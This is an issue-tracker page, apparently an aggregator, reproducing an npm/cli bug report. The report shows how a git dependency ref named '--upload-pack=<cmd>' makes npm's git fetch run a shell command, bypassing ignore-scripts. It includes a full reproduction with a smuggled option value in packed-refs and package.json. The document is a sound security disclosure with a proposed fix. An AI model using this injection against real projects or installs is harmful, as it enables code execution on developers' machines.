[BUG] Git dependency ref names are passed to git fetch as options
Los mantenedores suelen responder en 2 días
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 3/5
- Tiempo estimado
- 1-2 días
- Aptitud para principiantes
- 72/100
- Tipo de issue
- Error
- Claridad
- Bien especificado
- Estado de actividad
- Activo
- Stack tecnológico
- git, javascript, node.js
Línea de trabajo
The issue points to @npmcli/git's lib/clone.js line 91, where the fetch arguments are assembled, and lib/lines-to-revs.js lines 122–123, where refs are kept verbatim. Read those paths and find their tests for Git dependency refs; reproduce the option parsing with the supplied malicious ref. Done means the ref is passed safely and the regression test confirms Git does not treat it as an option.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
Is there an existing issue for this?
- I have searched the existing issues
This issue exists in the latest npm version
- I am using the latest npm
This is not just a request to bump a dependency for a CVE
- This is not solely a request to bump a dependency for a CVE
Current Behavior
@npmcli/git checks out a ref that isn't a branch or tag with git fetch origin <rawRef>, where rawRef is whatever name the remote advertised, and there's no --end-of-options:
https://github.com/npm/git/blob/5c8dc2a51721a659f6641142ce86d4c83bce60a0/lib/clone.js#L91
Refs that aren't tags, heads, pulls or HEAD are kept verbatim (lines-to-revs.js#L122-L123), and npm-package-arg keeps a committish that starts with -. So a dependency on git+file:///path/evil.git#--upload-pack=<cmd>, where that repo advertises a ref with the same name, becomes git fetch origin --upload-pack=<cmd>. On a local remote git runs <cmd> through the shell. This happens while npm is still resolving the dependency, so ignore-scripts doesn't apply. git won't create a ref with that name, but writing it into packed-refs by hand is enough for ls-remote to advertise it.
Reproduced on npm 10.9.10, 11.21.2 and 12.2.2 (12 needs allow-git=all or root).
Expected Behavior
The ref is never parsed as an option. ['fetch', 'origin', '--end-of-options', revDoc.rawRef] does that (git then just reports couldn't find remote ref), and rejecting refs and committishes that start with - would be a reasonable second check.
Steps To Reproduce
$ git init -q work && cd work
$ echo '{ "name": "evil-ref", "version": "1.0.0" }' > package.json
$ git add -A && git commit -qm one && echo x > x && git add x && git commit -qm two && cd ..
$ git clone -q --bare work evil-ref.git
$ printf '# pack-refs with: peeled fully-peeled \n%s %s\n%s --upload-pack=touch${IFS}/tmp/pwned;false\n' \
"$(git -C work rev-parse HEAD)" "$(git -C work symbolic-ref HEAD)" "$(git -C work rev-parse HEAD~1)" > evil-ref.git/packed-refs
$ mkdir app && cd app
$ printf '{ "name": "app", "version": "1.0.0", "dependencies": { "evil-ref": "git+file://%s/evil-ref.git#--upload-pack=touch${IFS}/tmp/pwned;false" } }\n' "$(cd .. && pwd)" > package.json
$ printf 'ignore-scripts=true\nallow-git=all\n' > .npmrc
$ npm install --ignore-scripts
npm error code 128
npm error An unknown git error occurred
npm error command git --no-replace-objects fetch origin --upload-pack=touch${IFS}/tmp/pwned;false
npm error fatal: Could not read from remote repository.
[..]
$ ls /tmp/pwned
/tmp/pwned
The two commits are only there so the hostile ref doesn't point at HEAD, which would take the plain-clone path instead.
Environment
- npm: 12.2.2 (also 10.9.10, 11.21.2)
- Node.js: 24.22.1
- OS Name: macOS 26
- npm config:
ignore-scripts=true,allow-git=all(project.npmrc)
- Lenguaje dominante
- JavaScript
- Estrellas
- 10.3k
- Forks
- 5k
- Merge medio
- 4 d 11 h
- PR fusionados (30 d)
- 26
Preparar el entorno
- Sin Dockerfile ni archivo de Docker Compose
- Sin plantilla de pull request
- Leer la guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de npm/cli
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 85/100
Los mantenedores suelen responder en 2 días
-
[BUG] scripts/dependency-graph.js splits npm-cli-repos.txt on os.EOL, so DEPENDENCIES.md depends on the checkout's line endingsPosiblemente ocupada @saruk-vedant la tomó hace 7 días. AbiertoBug Needs Triage Triage Requested
Dificultad 2/5 1-3 horas Aptitud para principiantes 82/100
npm/cli#10316 · 1 comentario ·
Los mantenedores suelen responder en 2 días
-
[BUG] npm pkg delete removes the first array item for a nonexistent propertyPosiblemente ocupada @drawliin la tomó hace 42 días. Abiertocmd:delete Priority 3
Dificultad 2/5 1-3 horas Aptitud para principiantes 83/100
Los mantenedores suelen responder en 2 días
-
create node pr: Node.js 20 deprecation & `DEP0040` warnings loggedQuizá libre de nuevo Un pull request para esta issue se cerró sin fusionarse. AbiertoEngineering Priority 1
Dificultad 1/5 Menos de una hora Aptitud para principiantes 80/100
Los mantenedores suelen responder en 2 días
-
`npm audit signatures` does not report how many packages it skipped for want of registry keysPosiblemente ocupada @greenlincoln05 la tomó hace 63 días. AbiertoPriority 3
Dificultad 2/5 1-3 horas Aptitud para principiantes 70/100
npm/cli#10018 · 2 comentarios ·
Los mantenedores suelen responder en 2 días
Issues similares
-
docs: add SECURITY.md vulnerability reporting policyPosiblemente ocupada @AK-Lmn la tomó hoy. Abierto
Dificultad 1/5 1-3 horas Aptitud para principiantes 72/100
flisk-sh/linux2wasm#12 ·
Los mantenedores suelen responder en 1 día
-
possible bug
Dificultad 2/5 1-3 horas Aptitud para principiantes 84/100
Mintplex-Labs/anything-llm#7388 ·
Los mantenedores suelen responder en 1 día
-
Dificultad 1/5 Menos de una hora Aptitud para principiantes 60/100
Los mantenedores suelen responder en 1 día
-
v6: Minified bootstrap.min.css is missing header infoPosiblemente ocupada @lazerg la tomó hoy. Abiertobug build confirmed has-pr v6
Dificultad 2/5 1-3 horas Aptitud para principiantes 62/100
Los mantenedores suelen responder en 1 día
-
documentation
Dificultad 1/5 Menos de una hora Aptitud para principiantes 88/100
githubnext/gh-aw-workshop#6332 ·
Los mantenedores suelen responder en 1 día